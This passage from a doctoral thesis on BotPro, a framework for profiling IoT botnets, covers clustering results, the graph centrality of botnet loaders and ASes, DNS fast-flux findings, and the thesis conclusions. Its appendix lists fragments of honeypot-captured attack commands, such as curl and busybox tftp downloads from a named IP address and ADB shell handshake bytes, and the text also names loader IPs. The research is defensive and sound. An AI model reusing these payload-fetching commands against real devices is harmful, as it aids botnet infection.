algorithm performs the best. Furthermore, the visual inspection of clustering results pro-
duced by the three aforementioned algorithms are presented in Appendix B, Fig. 6.3, Fig.
6.4, and Fig. 6.5 respectively. The k-means shows a minimum overlapping and has iden-
tified distinct groups with a better separation. In addition, Appendix A presents the clus-
tering results generated from applying the three different algorithms, Tables 6.3, 6.4 and
6.5, present most IoT botnet attacks within each cluster. Furthermore, Table 6.1 presents
the number of attacks belonging to each cluster for the three clustering algorithms. As per
the table, k-means distributes the attacks across the clusters more evenly than the other
algorithms. GMM has one cluster (C3) with a high number of attacks and one (C6) with
very few. Similarly, in Birch, the majority of attacks belong to one cluster (C1).
In addition, we aimed to enhance the performance of our selected clustering algorithm
through feature engineering which is a crucial step in any machine learning task. Specif-
ically, we investigated the impact of reduced features on the performance of the K-means
algorithm, which is our selected method based on initial evaluations. We employed PCA
to reduce the original features generated by TF-IDF.

Metric Value
Silhouette Score 0.5401
Davies-Bouldin Index 1.00901
Calinski-Harabasz Index 81398.2179

Table 5.8: K-Means evaluation metrics.

The internal validation is more suitable for our evaluation, three internal indexes are utilised
in this evaluation, which are Silhouette Coefficient and Calinski–Harabasz. We used such
methods to evaluate the performance of k-means on both the original and reduced fea-
tures. Table 5.8 shows the k-Means evaluation when applied on reduced features. When
comparing the k-means clustering performance on the original features to the reduced fea-
tures, a slight improvement across all evaluation metrics is observed, indicating enhanced
clustering results.
For the Silhouette score, the value has increased from 0.5398 (original features) to
0.54018486 (reduced features). This indicates that using the reduced features provide a
marginally better defined cluster distinction, thus yielding a superior performance. The
Davies-Bouldin index shows a decrease from 1.1837 (using original features) to 1.009014
(using reduced features). This reduction suggests that reducing the features has helped to
make the clusters less similar and more distinct.
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The Calinski-Harabasz index has increased from 61445.979 (original features) to
81398.2179 (reduced features). This improvement signifies that the clusters obtained from
the reduced features are more dispersed from each other, yet more cohesive within them-
selves, indicating a superior clustering outcome.
Such outcomes suggest that the PCA was able to identify a smaller set of more informative
features, which improved the performance of k-means. In general, our evaluation results
show that the performance of k-means clustering on the reduced features is better than on
the original features. In addition, the PCA algorithm can not only improve the accuracy
of the algorithm, but also improve the efficiency of the algorithm. As shown in Fig. 5.17
the k-means consume 400 seconds to perform clustering. Evidently, the PCA managed to
reduce the time consumption to 10 seconds as shown in Fig. 5.18.

Figure 5.17: K-means time consumption with original features.

Figure 5.18: K-means time consumption with reduced features.
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Parameter Machine 1 Machine 2
System Windows macOS
Machine AMD64 x86_64
Platform Windows-10-10.0.19045-SP0 macOS-10.16-x86
Processor Intel64 Family 6 Model i386
CPU Count 8 8
CPU Frequency 1792.0MHz 1400MHz
RAM Memory 7973.30MB 8192.00MB

Table 5.9: Detailed system specifications for machine 1 and machine 2

In addition, we measured the memory consumption for the three clustering algorithms
through employing the two different computational environments as described in Table
5.9.

Memory consumption is an essential aspect of algorithmic efficiency, particularly when
dealing with large datasets. The algorithms were tested with various cluster numbers,
ranging from 1 to 6, to determine their memory footprint. From the results presented in
Table 5.10, the k-means algorithm exhibits the most memory-efficient behaviour, with an
average consumption of 562.66 MiB. In contrast, the GMM shows the highest memory
consumption, averaging at 639.85 MiB. The Birch algorithm’s performance lies between
the two, with an average memory usage of 579.08 MiB.

No. of
Clusters

Machine 1 Machine 2

k-means GMM Birch k-means GMM Birch

1 566.41 595.98 415.30 575.73 575.72 629.60
2 575.71 790.87 412.73 566.48 656.22 545.96
4 518.82 830.52 412.63 575.68 799.01 642.92
5 519.45 861.06 383.81 575.68 750.93 643.00
6 575.72 880.99 412.73 575.68 544.97 629.17

Average 546.11 780.44 403.50 562.66 639.85 579.08
Table 5.10: Memory consumption across different numbers of clusters and plat-
forms in MiB.
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5.9 Time Complexity

We calculate the time complexity of our proposed algorithm 3 in Chapter 3, which is used
to identify IoT botnet propagation strategy. Complexity can be quantified using various
criteria, including memory use, time, and solution. In this instance, the time complexity
of an algorithm is a computational complexity that describes the amount of computational
time taken by an algorithm to run.
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Figure 5.19: Time Complexity of proposed algorithm to identify IoT botnet prop-
agation strategy.

Fig. 5.19 depicts the time required for the proposed algorithm to execute for various num-
bers of samples. The number of samples increases by 20,000 each time the function is
called, starting from 0 to 160,000. The time is measured in seconds and ranges from 0.89
seconds to 14 seconds. The growth pattern of the time complexity is evident from the
experimental data on elapsed times, which suggests a trend of quadratic growth. It sug-
gests that the time complexity of our algorithm is 𝑂(𝑛 ∗ 𝑛) = 𝑂(𝑛2), as the time it takes
to execute the function increases proportionally with the number of samples. The algo-
rithm primary task is to categorise each IP source into one of the two categories based on
its interaction pattern. It utilises a nested loop structure, iterating through both URL_IP
samples and src_ip samples. The outer loop runs for the number of URL_IP addresses,
which we can denote as 𝑛. As described in the algorithm, there’s a conditional check (if
else condition) within the outer loop which has a constant time complexity of 𝑂(1). In this
case, the else condition is met, an inner loop runs for the number of src_IP addresses and
it is donated as 𝑚. In the scenario where 𝑛 and 𝑚 are approximately equal, the algorithm
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performs 𝑛 × 𝑚 operations, translating to a quadratic time complexity, 𝑂(𝑛2).

5.10 Botnet Loaders

The IoT market expansion in synergy with botnets targeting IoT devices and modern cy-
berwarfare techniques evolution has resulted to be a significant and challenging threat to
confront in networked systems. Since the development of the first botnet in 1999 (Pretty
Park botnet), botnet communication architectures emerged in response to the growing ef-
fort to identify botnets using their communication structure and communication patterns
[172]. The primitive Pretty Park botnet implementation was able to download and exe-
cute a file on the victim through using IRC server as a remote-control server. Nonetheless,
such schemes have significantly changed with the convergence of IoT technologies and the
pervasiveness invoked by the services they operate or access.
By leveraging the graph-based methodology described in Section 3.1.3, BotPro can pro-
vide insights on the structural properties of botnet loaders with respect to the distribution
of malware binaries of various strains. Table.5.11 presents the centrality degree for the top
five loaders detected by BotPro. These detected nodes play a crucial role in botnet prop-
agation. For instance, the first ranked node in the table, has the highest degree centrality
and has a connection with 614 bots across 36 unique countries.

Rank Loader
IP addresses

Degree
centrality

Total associated
nodes

Total unique
countries

1 185.216.71.192 0.028 614 36
2 81.161.229.46 0.017 367 37
3 5.206.227.136 0.010 211 25
4 31.210.20.109 0.008 173 30
5 45.90.161.148 0.005 119 0

Table 5.11: Degree centrality for super nodes detected by BotPro as botnet load-
ers.
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Figure 5.20: Connectivity graph of the top botnet loaders instrumenting specific
malware strains (red) with their corresponding bots (blue).

Fig. 5.20 depicts the connectivity graph of the top seven nodes with a high betweenness
degree. High betweenness centrality nodes are often gateway nodes or nodes bridging
different clusters in a network. The removal of such nodes can cause the botnet network to
become partitioned and the betweenness feature in the graph reflects the significant extent
of botnet loaders.
By ranking all the nodes in the graph based on their betweenness centrality, we identify
that botnet loaders responsible for distributing Mozi binaries have the highest betweenness
degree. Measuring the degree centrality of Mozi malware servers led to identify 3954
different bots connected to a single server. Our tracking process also reveals that bots
related to Mozi variants are spread across 125 ASes and 41 countries. Hence, it indicates
that Mozi botnet designers spread as much as possible in order to avoid single points of
failure and thus increase the botnet’s resilience. In addition, our analysis for botnet loaders
responsible for distributing arm7.deathh binaries shows that such loaders have an average
connection with 270 bots distributed over 18 countries. It indicates that the attackers tend
to form a P2P botnet network that is geographically widespread and through its distributed
nature across the global Internet could have higher guarantees in terms of its resilience. By
analysing the betweenness centrality of nodes that connected to such servers it was revealed
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that bots are also instructed by attackers to download binaries from three different botnet
loaders such as wowe.arm and reset.sh (Fig. 5.20). Our analysis shows that bots randomly
form P2P like networks and direct to download binaries from different sources in order to
promote redundancy and increase the robustness of their formation with additional edges.
As summarised in Table 5.12, we have detected 16,473 edges forming the communication
setup between bots and loaders in P2P botnets.

number of links mean std min max

16473 0.000116 0.003165 0.000061 0.40238

Table 5.12: Summary of centrality degree for the connectivity between botnet
loaders and malicious bots.

Figure 5.21: Connectivity graph among ASes embracing bots and ASes hosting
botnet loaders. The blue nodes indicate the ASes that are dedicated for routing
of intra-AS traffic to bots, while the red nodes handle bots traffic outside their
domains.

The identified botnet loaders composing P2P botnet networks are distributed over 1,011
ASes and 80 countries. Measuring the degree centrality among ASes embracing bots and
ASes hosting malware downloaders can reveal structural properties of a given botnet. Our
analysis shows that ASes with highest degree centrality are reachable by bots residing in
more than 100 ASes. For instance, AS211252 exchanges the binaries with bots distributed
across 160 ASes. It therefore demonstrates that such botnet loaders have a strong influence
for malware spreading across the Internet.
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As shown in 5.21, some ASes do not have edges, as the bots download the binaries from
malware downloaders located within their home AS. Our analysis also highlights that cer-
tain malware residing in specific ASes promote communication with bots that are globally
distributed.
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Figure 5.22: Network typologies for ASes that have a high betweenness central-
ity, suggesting that nodes identified by centrality metrics are more effective at
spreading malicious content throughout the Internet.
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Figure 5.23: Normalized betweenness value of ASes hosting botnet loaders; a
70% of ASes have a zero value, as they tend to perform intra-AS traffic routing
to bots.

For example, AS47674 hosts four different botnet loaders and demonstrates connectivity
with bots in 25 different countries. Fig. 5.22 shows the 5 top ASes that have a high be-
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tweenness degree. Evidently, such a high degree can be used as an indicator for identifying
nodes that are effective at spreading malicious content throughout the network.
Via analysing the betweenness centrality for such ASes, we found that 70% of ASes have a
0 betweenness value as shown in Fig. 5.23. Hence, malicious bots target nearby vulnerable
devices to interact and download malicious binaries from a botnet loader that is co-located
within the same AS. For example, AS17622 has a 0 betweenness value since bots interact
with botnet loaders within their own domain. We argue, that bostmasters identify ASes
with weak routing policies to achieve this and they adopt such behaviour such as to hide
the visibility of their botnet’s traffic over the Internet in general.
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Figure 5.24: Normalized degree centrality of botnet loaders, where only 27%
of loaders have a centrality degree > 0, and plays a critical role in spreading
malicious binaries.

The outcome of degree centrality analysis for botnet loaders and bots indicates that a small
number of loaders has influence over the botnet network as shown in Fig. 5.24. Evidently,
malicious actors adopt such behaviour in order to hide the presence of botnet loaders and
evade detection. The distribution of cluster coefficients in Fig. 5.25, shows that the ma-
jority of botnet loaders has a clustering coefficient value between 0 and 0.2. Such values
indicate that botmasters tend to connect compromised machines with a few number of
botnet loaders.
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Figure 5.25: Clustering coefficient distribution indicates that 90% of botnet load-
ers have a connection with bots that do not have a relationship with other loaders.

However, the LCC degree implies that some bots exhibit different behaviours by having a
connection with multiple loaders. Botmasters deploy such architectures to avoid a single
point of failure and in parallel assume that inter-AS collaboration is not present to entirely
track their critical loaders.
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Figure 5.26: Cumulative distribution of closeness centrality degree shows that
a small proportion of botnet loaders have a high closeness degree.

Moreover, our analysis of the closeness centrality among botnet loaders and bots shows
that approximately 4% of botnet loaders have a high closeness degree (e.g. 0.4 > 𝐶𝐶 <
1) as depicted in Fig. 5.26. It indicates that given nodes have close links with several
other nodes. Thus, detecting these nodes by defenders will effectively aid in reducing the
propagation of botnet, as they have a significant impact on the botnet network.
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5.11 DNS Behavioural Properties

BotPro performs DNS lookup for the IP address associated with the IoT botnet. Through
using the ’dig’ command, it records the A records returned from each query. Every A
record has a TTL field, which specifies the time interval in seconds that the response re-
mains valid. As stated by [173], observing more than two ASes in A record, the domain
is marked as a Fast-Flux domain. Our analysis shows that IoT the botnet relies on the
Fast-Flux technique.
Such technique is adopted by an attacker in order to change the mapping of the domain
name to a different bots within the botnet with constant shifting to avoid detection. Tradi-
tional DNS tend to exhibit a very long time to live (a common value is 24 hours, or 86400
seconds). Fig. 5.28 represents
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Figure 5.27: Distribution of TTL values assigned to DNS record, where DNS
involved in botnet activity tend to have short TTL value.

Malicious actors strive to ensure that infected devices can regularly resolve the domain
name. This can be achieved by setting a short TTL value for the DNS record. A short TTL
indicates that the cached information expires quickly. As shown in Fig. 5.28, it is evident
that domains involved in botnet activities exhibit to have a short TTL value compared to
non-malicious domains. Via setting a short TTL, the malicious actor can minimize the
time it takes for the bots to switch to a new C&C domain. Thus, it can be more difficult
for defenders to track and disrupt the botnet’s network. Thus, bots can evade detection by
frequently changing the C&C addresses
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rDNS Degree centrality No of ASes Country TTL value

visit.keznews.com 21 10 6 3600
undefined.hostname.localhost 219 10 16 120

free.ds 444 6 4 3600
client.yota.ru 571 5 1 21600

broadband.actcorp.in 53 5 1 3600
example.com 70 5 3 3600

ns1648.ztomy.com 24 4 3 300
localhost 627 3 2 21600

unknown.volia.net 2 2 1 21600
vps.hostry.com 32 2 2 3600

Table 5.13: Result of top DNS queries mapped to the number of bots, ASes
associated with each DNS record and TTL value in sec.

Table. 5.13 represents the result of the top DNS queries mapped to the number of bots,
ASes associated with each DNS record and TTL value in sec. The counting of associated
bots and ASes per DNS record provides insights into the potential magnitude and extent
of botnet operations associated with particular domain names. Evidently, some domain
names have a significantly higher number of associated bots than others. This concentra-
tion may indicate that certain domains are being targeted more intensively by the botnet op-
erators, possibly for specific attack purposes. For instance, the domain visit.keznews.com
is being actively queried by 21 different bots, indicating that it is a prominent target for
the botnet’s communication and coordination. Our analysis shows that the bots associated
with this domain are distributed across 10 different ASes. Hence, such botnet has a diverse
infrastructure across multiple ASes to ensure its stability and resilience.
In the constructed graph, nodes represent both domains and associated bots. Edges in-
dicate the relationships between these bots and their corresponding domains. Hence, we
employed the graph theory concept specifically EC degrees, we successfully managed to
identify the associated bots with domains exploited by attackers. The basic intuition be-
hind this notion is that hosts infected by the same malware (e.g., belonging to the same
botnet) usually query for the same, similar or otherwise correlated set of domain names,
for instance, to locate the C&C servers. Through the application of EC, we aim to detect
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Figure 5.28: Graph connectivity between DNS servers (supernodes in red) and
bots (blue) highlighting cluster formation and size.

bots that play pivotal roles in constructing the botnet architecture, especially in scenarios
where they are under the directive of a singular C&C server. Our analysis shows that bots
connected to the same domains, share similar EC degree. For instance, bots with high EC
degree are connected to a domain that is well-connected and frequently accessed by other
bots as shown in Fig. 5.28. In addition, Table 5.14 represents the top rDNS based on the
EC values. Hence, monitoring DNS queries and examining the EC degree of domains and
connected bots can act as a valuable indicator. It suggests a coordinated effort and possibly
in preparation for a large-scale DDoS attack.

Node rank EC value No. of bots EC value
1 7.089 × 10−1 6563 8.7 × 10−3

2 2.84 × 10−68 1780 6.74 × 10−70

3 3.52 × 10−95 1052 1.08 × 10−96

4 1.72 × 10−138 447 8.12 × 10−140

5 3.13 × 10−146 383 1.60 × 10−147

Table 5.14: EC values for top rDNS nodes and their connected bot counts, the
table shows the EC value for bots.
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5.12 Summary

In this chapter, an in-depth analysis of IoT botnets was conducted using the proposed frame-
work, BotPro. The chapter aimed to uncover crucial insights into the structural properties,
scanning behaviour, and payload distribution of IoT botnets. As discussed in Section 5.1
different data sources are used to collect the comprehensive dataset employed by BotPro.
Section 5.2 further examines the scanning behaviour of IoT botnets, providing valuable
insights into their propagation tactics. It revealed the most frequently occurring port se-
quence and showed expanded their target range on TCP ports by including vulnerabilities
that are likely to persist on applications. Furthermore, Section 5.2 assessed the scanning
behaviour of IoT botnets and examined the dynamic behaviour adopted by them to avoid
detection. It also demonstrated that new IoT botnet variants have a carefully crafted and
strategic scanning procedure. Section 5.3 attributed the relationship between AS degree
and botnet presence, highlighting the central role played by certain ASes in the propagation
of IoT botnets. It also indicated that malicious actors are generally prefers to exploit ASes
that are more isolated in terms of internet connectivity as infrastructure for IoT botnets.
The chapter then proceeds to dissect botnet activity duration in Section 5.4, offering an
additional understanding of botnet lifecycle and persistence. It revealed that a substantial
proportion of ASes are vulnerable to attacks and may require additional monitoring and se-
curity measures to protect against potential cyber threats. Section 5.5 assessed the duration
of botnet activity by individual IP addresses and detected their dynamic behaviour with re-
spect to activity duration during the scanning phase. Section 5.6 extended this analysis
to the infection phase, underscoring how botnets exploit device vulnerabilities to propa-
gate. Section 5.7 provided insights into the distribution of botnet’s payload over ASes and
attributes the ASes involved in botnet activities.
Section 5.8 presented a comparative evaluation of clustering algorithms applied to the bot-
net dataset, highlighting the superior performance of K-means clustering when used with
reduced features. Section 5.10 delves into the examination of botnet loaders, which play
a crucial role in botnet propagation. The study of these super nodes provided by Bot-
Pro sheds light on the strategies and mechanisms employed by botnets for propagation. It
also offered insights into the topological spread and distribution of botnet activities across
different ASes. Through a graph-based methodology, BotPro captures the propagation
characteristics and attribute attack strategies via tracking the behaviour of IoT P2P botnet
loaders. Through quantitative graph-based metrics, we demonstrate that botnet loaders
in some instances communicate with bots that are distributed over 25 countries and some
botnets tend to conduct all their malware downloading instrumentation within a single AS.
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Section 5.11 provided insights into the potential magnitude and extent of botnet operations
associated with particular domain names.



Chapter 6

Conclusion & Future Work

The conclusion chapter of this thesis presents the key findings and the contributions of the
thesis. It commences with Section 6.1, where we present a summary of the key contribu-
tions. Section 6.3 outlines a number of potential directions for future work, which arise
from the identified limits and potential expansions of the present thesis.

6.1 Thesis Summary

The inherent security weaknesses in IoT infrastructure have made these devices attractive
targets for malicious actors who seek to create botnets to launch large-scale cyberattacks.
As the number of IoT devices being deployed across various domains continues to in-
crease with inadequate security measures. Consequently, the attack surface has expanded
dramatically and provides a fertile ground for malicious actors to exploit such devices and
construct botnet networks.
This thesis aims to develop a data-driven approach to respond to this expanding threat
landscape through profiling IoT botnet activity. In this thesis, we design BotPro that is able
to generate a comprehensive analysis of real-world IoT botnet data and provide valuable
insights into the behaviour and structural properties of IoT botnets.
The outcomes of this thesis contribute to the development of data-driven cybersecurity
defence applications, empowering security practitioners and policymakers with valuable
information. Hence, they can combat emerging botnet threats effectively. By profiling
botnets and understanding their characteristics, proactive strategies can be formulated to
disrupt their propagation and mitigate the risks posed by malicious networks.
At the start of this thesis, a comprehensive literature review was conducted to explore the
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existing knowledge and research in the domain of profiling and detection of IoT botnets.
This review provided valuable insights into the current state of the field, identified gaps
and challenges, and served as the foundation for the subsequent research (Chapter 2).
Through this review, it was evident that there is a pressing need to develop a data-driven
approach capable to profile IoT botnet activity in the wild. Existing literature focuses on
specific aspects of botnet behaviour and may not provide a holistic view of their propaga-
tion strategies adopted by modern botnet (e.g. P2P).
In addition, existing literature emphasises the importance of describing the AS-level prop-
agation strategy adopted by modern IoT P2P botnets. Indeed, a novel macroscopic view on
the influence of AS-level relationships with respect to IoT botnet propagation is currently
lacking in the existing literature.
Insights on the structural properties of botnet loaders are crucial in understanding the dy-
namics of IoT botnets and their propagation strategies. Botnet loaders play a vital role in the
initial stages of infection and act as the gateway for introducing the main botnet malware to
vulnerable IoT devices. However, existing literature lacks a comprehensive exploration of
the characteristics and behaviour of botnet loaders within the broader context of IoT botnet
activities.
To address the pressing need for a robust tool that can effectively analyse and track the
activities of IoT botnets on a large scale, we have developed BotPro (Chapter 3). The
framework’s abstract functions represent the core functions of BotPro. It encompasses
various methods, from information theory, statistical methods, natural language process-
ing, ML and graph theory. Hence, combining these methods empowers BotPro to address
the challenges posed by IoT botnet profiling and tracking. In addition, the measurement in-
frastructure is designed to ensure the analysis is based on real botnet activities. It provides
the framework with real-world Internet measurements gathered from globally distributed
honeypots, DNS, BGP and IP blacklists. Thus, it contributes to enhance the precision and
reliability of the findings generated by BotPro (Chapter 3).
The BotPro architecture consists of four key modules: (i) data collection, (ii) data Pro-
cessing, (iii) analytical engine, and (iv) visualisation and user interface (Chapter 4). Each
module contributes in enabling the framework to effectively profile IoT botnets. The data
collection module within BotPro is designed to capture real-time botnet activities through
interacting with different data sources. The collected data is then processed and organised
by the data processing module to ensure it is ready for in-depth analysis. The analytical
module is built to leverage advanced methods, including statistical analysis, graph theory
and ML. Such methods aim to uncover the complex patterns and trends in botnet behaviour.
The visualisation and user interface module is designed to present the analysed data in the
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form of maps, charts and graphs. It aims to allow users to gain valuable insights into the
behaviour of IoT botnets.
BotPro conducts an in-depth analysis of IoT botnets to uncover valuable insights relating to
their behaviour and structural characteristics (Chapter 5). Furthermore, BotPro revealed
insights into the scanning behaviour of IoT botnets and identified the patterns of scanning
activities carried out by IoT botnets to identify potential victims.
The results obtained from analysing the structural properties of botnet loaders provide
essential information about the initial stages of infection and the strategies employed by IoT
botnets to compromise IoT devices. Furthermore, it reveals loaders’ role in orchestrating
botnet activities and spreading malicious content throughout the Internet.
BotPro quantified the AS tolerance of IoT botnet propagation in the global Internet. This
analysis sheds light on the relationship between botnet activities and AS structural proper-
ties. It offers insights into the topological spread and distribution of botnet activities across
different ASes.
This chapter concludes this research and outlines potential future directions identified in
this thesis. Section 6.2 summarises the main contributions of this thesis. Section 6.3
presents the potential directions for future work derived from the limitations and the pos-
sible extensions to the current work. Finally, Section 6.4 provides concluding remarks on
this thesis

6.2 Contributions

The present thesis makes several contributions that can be summarised in the follow-
ing points:

6.2.1 Establish a Comprehensive Measurement and Analysis Infras-
tructure

We establish a comprehensive measurement and analysis infrastructure within our pro-
posed BotPro. In order to enhance the precision and reliability of the insights generated
by BotPro, the infrastructure integrates real-world data from various sources. Chapter 3
presents the measurement infrastructure responsible for constructing the ground truth data
which integrates multiple Internet measurement tools and datasets.
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6.2.2 Comprehensive and Intricate Examination of IoT Botnets

We propose to leverage statistical tools, graph theory and ML to deliver a comprehen-
sive and intricate examination of IoT botnets. By leveraging the methodology developed
in Chapter 3, BotPro can analyse complex datasets generated by IoT botnets in order to
identify, assess and attribute botnets’ behaviour. Chapter 5 presents insights provided by
BotPro. By leveraging statistical tools, we provide an assessment of IP blacklisting ef-
ficiency as used by Regional Internet Registries and ASes in the context of tracking IoT
botnet activity. Such outcomes exhibit the technique adopted by malicious actors to avoid
being blacklisted.

6.2.3 Novel Macroscopic Perspective on the Influence of AS-level Re-
lationships

We propose a novel macroscopic perspective on the influence of AS-level relationships in
relation to IoT botnet propagation, facilitated by our devised BotPro. BotPro’s analytical
capabilities enable us to delve into the underlying network dynamics and structural char-
acteristics at the AS level. As a result, we can expose differing patterns and trends in IoT
botnet activities across various ASes. In addition, through a graph-based methodology,
we capture the propagation characteristics and attribute attack strategies by tracking the
behaviour of IoT P2P botnet loaders.

6.2.4 Practical Implications

We provide practical implications for network security practitioners, policymakers and in-
dustry professionals. By implementing BotPro, network security practitioners can develop
more robust defence strategies to mitigate the risks posed by IoT botnets. Policymakers can
utilise our research outcomes to shape regulations and guidelines that promote secure IoT
deployments and safeguard network infrastructure. These practical implications contribute
to the ongoing efforts to strengthen network security and safeguard against the evolving
threats posed by IoT botnets
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6.3 Limitations and Future Work

6.3.1 Limitations

The proposed BotPro framework offers valuable insights into profiling and tracking IoT
botnets. However, like most research projects, there are some limitations to this research
that have to be acknowledged.
Visibility over the Internet poses a challenge to understanding and analysing IoT botnet
activities. The vast and distributed nature of the Internet makes it difficult to gain com-
prehensive visibility into all the connected devices and systems, leading to potential blind
spots in the data collected for analysis. Hence, the generated results and findings heavily
rely on the quality and comprehensiveness of the collected data. The data collected for
this research is limited to the available Internet-wide measurements from honeypots, In-
ternet regional registries, and IP blacklists. Although attempts were made to collect data
from various reliable sources, there may still be some gaps in the dataset. In addition,
Limited data sharing and collaboration among different organisations and stakeholders
can hinder the effectiveness of BotPro in providing a comprehensive view of botnet ac-
tivities. Different factors, including data privacy, competitive motivations and potential
security ramifications, may cause data sharing resistance. Organisations may be cautious
about sharing sensitive information about their networks and cybersecurity incidents due
to concerns about possible damage to their reputation and the exposure of vulnerabilities
to malicious entities.
BotPro’s effectiveness in detecting and analysing botnet activities could be hindered by
zero-day attacks, which exploit vulnerabilities that are not yet known to the public or secu-
rity researchers. These attacks can bypass traditional security measures and go undetected
for extended periods. Another limitation of BotPro is its capability to predicate DDoS at-
tacks. BotPro needs to be improved to distinguish between legitimate spikes in traffic and
a DDoS attack in real-time.
Integrating BotPro as a cybersecurity measure can pose a challenge for systems with lim-
ited capabilities. As IoT botnets continually evolve, they often exhibit new behaviours and
techniques to avoid detection. Profiling the evolution of IoT botnets requires long-term data
analysis. In order to capture and analyse these evolving patterns, it requires a collection
of increasingly large volumes of data. Organisation needs to develop a storage solution
that can effectively scale up to handle the increasing data volumes while maintaining sys-
tem performance. Such challenges also present the importance of a careful evaluation
of system capabilities and infrastructure before integrating a BotPro into a cybersecurity
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strategy. In addition, regular updates and maintenance will be required to ensure BotPro
remains effective against new and evolving botnet dynamic behaviour.

6.3.2 Future Work

Predictive model

Analysis model

Zero-Day Attacks

DDoS Attacks

ASes Ranking

Darknet Data

Threat Intelligence  
Integration

Data collection 
module

Figure 6.1: Modules within BotPro can be improved to overcome the identified
limitations.

Addressing the limitation of visibility over the Internet is an ongoing challenge in the field
of cybersecurity. As a potential area for future work, BotPro can focus on exploring novel
techniques and collaborations to enhance its data collection capabilities and improve vis-
ibility into IoT botnet activities. Fig. 6.1 shows modules within BotPro can be developed
to overcome the identified limitations. Some potential avenues for future research include:

– Incorporating darknet data
The incorporation of darknet data, comprising of unused and unallocated IP addresses
and network spaces. This incorporation can provide valuable insights into hidden bot-
net activities that may not be detectable through conventional monitoring techniques.
Darknet monitoring could also potentially identify command and control servers for
IoT botnets that are hosted on the darknet and detect their traffic that is routed through
the darknet to avoid detection.

– Threat intelligence integration
Another potential avenue for future work is to collaborate with established threat
intelligence providers. Integrating external threat intelligence sources into the Bot-
Pro framework can empower its capabilities in analysing and IoT botnet activities.
Threat intelligence platforms provide valuable data about known threats, including
indicators of compromise (IoCs), TTPs (tactics, techniques, and procedures), and in-
formation about threat actors. Integrating this data with BotPro would enhance its
ability to identify threats, making it even more effective at detecting and mitigating
IoT botnet activities.
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– Zero-day attacks
One potential area of future research is the investigation of Zero-Day attacks in the
context of IoT botnets. Zero-day attacks refer to cyber attacks that exploit previously
unknown vulnerabilities, and they pose a significant threat to IoT devices due to their
limited security measures and frequent use of default credentials.
Furthermore, the development of sophisticated ML and AI-based models can aid
in predicting and detecting zero-day attacks in near real-time. These models can
analyse network traffic patterns, system behaviour, and anomaly detection techniques
to identify suspicious activities that may indicate the presence of a zero-day attack.

– Predictive measures for DDoS attacks
As IoT botnets are frequently used to launch DDoS attacks, an integral area for fu-
ture work would be to further develop BotPro’s predictive capabilities. Predicting an
impending DDoS attack in advance would allow affected parties to take preventive
measures and minimize damage. Utilising machine learning and neural network for
such predictive analysis could be an interesting field for future research.
Implementing advanced anomaly detection techniques in BotPro can help identify
suspicious and unexpected behaviours in IoT devices that may indicate a DDoS at-
tack. These methods can enhance the framework’s ability to proactively respond to
emerging threats.

– AS ranking for IoT botnet propagation
Future research could build on this by developing a ranking system for ASes based
on their susceptibility to IoT botnet infections. Such a ranking can be used to identify
ASes that need to improve their security measures to mitigate the risk of botnet infec-
tions. With access to this reputation matrix, ISPs can make more informed decisions
about their network security policies and resource allocation. They can identify the
ASes with higher botnet activity scores and take proactive measures to prevent the
propagation of IoT botnets within their networks. Moreover, ISPs can use the matrix
to establish more effective collaborations with other ISPs and relevant stakeholders
to combat botnet threats collectively.

– Collaborating with cybersecurity partners
BotPro can form partnerships with other cybersecurity organisations and agencies
in order to share threat intelligence and collaborate on monitoring botnet activities.
Thus, combining resources and knowledge can give a deeper understanding of bot-
net behaviour. Furthermore, such collaboration would foster knowledge sharing and
expertise exchange, allowing BotPro to benefit from insights and analytical tools de-
veloped by other researchers and professionals in the cybersecurity domain. It could
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also lead to the development of standardized datasets and benchmarks for evaluating
botnet detection and mitigation techniques, thus promoting the reproducibility and
comparability of research findings.

– Impact assessment
Conducting impact assessments of IoT botnet attacks on critical infrastructure, in-
dustries, and economies can shed light on the real-world consequences of botnet ac-
tivities. Understanding the implications of large-scale botnet attacks can drive more
targeted and strategic responses. In addition, a thorough impact assessment could in-
volve gathering feedback from end-users, cybersecurity professionals, and stakehold-
ers who have used BotPro as part of their defence strategy. Their insights, sugges-
tions, and experiences would provide valuable input on the strengths and limitations
of the framework and also highlight areas for enhancement.

By addressing these future directions, BotPro can continue to evolve as a powerful tool for
tracking, profiling, and mitigating the threats posed by IoT botnets, contributing signifi-
cantly to the advancement of cybersecurity defence mechanisms.

6.4 Concluding Remarks

Undoubtedly, IoT devices have evolved into a necessity within our modern lifestyles, in-
filtrating various aspects of daily life such as homes, industries and urban infrastructure.
Nonetheless, IoT devices have proved to pose significant security risks due to their vul-
nerabilities and susceptibility to malware. Notably, these inherent weaknesses have been
weaponized by malicious actors who exploit them to form and propagate IoT botnets.
Tracking and profiling IoT botnets poses a complex challenge due to their varied struc-
tural attributes and the ongoing evolution of evasion and propagation tactics employed by
malicious actors. In response to this challenge, the work presented in this thesis proposed
a data-driven approach, named BotPro, which focuses on the behavioural profiling of IoT
botnets.
Notably, BotPro provides a novel macroscopic view on the influence of AS-level relation-
ships with respect to IoT botnet propagation. In addition, it demonstrates the technique that
is commonly applied by botmasters to evade detection, such as hosting malware download-
ers in ASes with low AS degrees. BotPro also revealed distinctive scanning behaviours of
botnets and identified the super nodes which play crucial roles in botnet propagation.
The findings and methodologies introduced in this thesis stand as a cornerstone tool for
legal and cybersecurity entities. They aid in the prevention of large-scale and rapidly evolv-
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ing attack vectors. By enhancing the effectiveness of ongoing efforts to combat the threats
posed by IoT botnets, this research serves as a significant contribution to the field, and it
aligns with the global endeavour to secure our increasingly interconnected world. Future
work could further expand on this foundation, exploring novel methods and tools to adapt
to the ever-changing landscape of IoT botnets and the unique challenges they present.



Appendix A

This appendix presents the clustering results generated from three different algorithms and
provide most IoT botnet identified attacks.

Algorithm
Attacks

C1 C2 C3 C4 C5 C6
k-means 24915 342436 36494 3872 36615 112985
GMM 24919 35249 409500 67434 16299 3916
Birch 476433 25691 24240 4847 25616 490

Table 6.1: Comparison of clustering algorithms based on the number of attacks
belong to clusters.

Attacks identified by the K-means:

Cluster Attack

C1

cmd \xC00\xC0 \xC0,\xCC\xA8\xCC\xA9\xC0\x13\xC0\x09\xC0\x14\xC0
CNXN\x01\x00\x00\x01\x00\x00\x10\x00q\x00\x00\x00
fixed_push_mkdir
features=remount_shell,abb_exec,fixed_push_symlink_timestamp
fixed_push_symlink_timestamp

123
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Cluster Attack

C2

GET shell curl -O http:
shell curl -O http: 94.102.59.5
HTTP 1.1 GET shell echo
1.1 GET shell echo get
busybox tftp -r BT16B5F58DB97F1C3 -g
bin busybox tftp -r BT16B5F58DB97F1C3
tftp HTTP 1.1 GET shell
get URL | tftp HTTP
URL HTTP 1.1 GET
echo getURL | tftp

C3

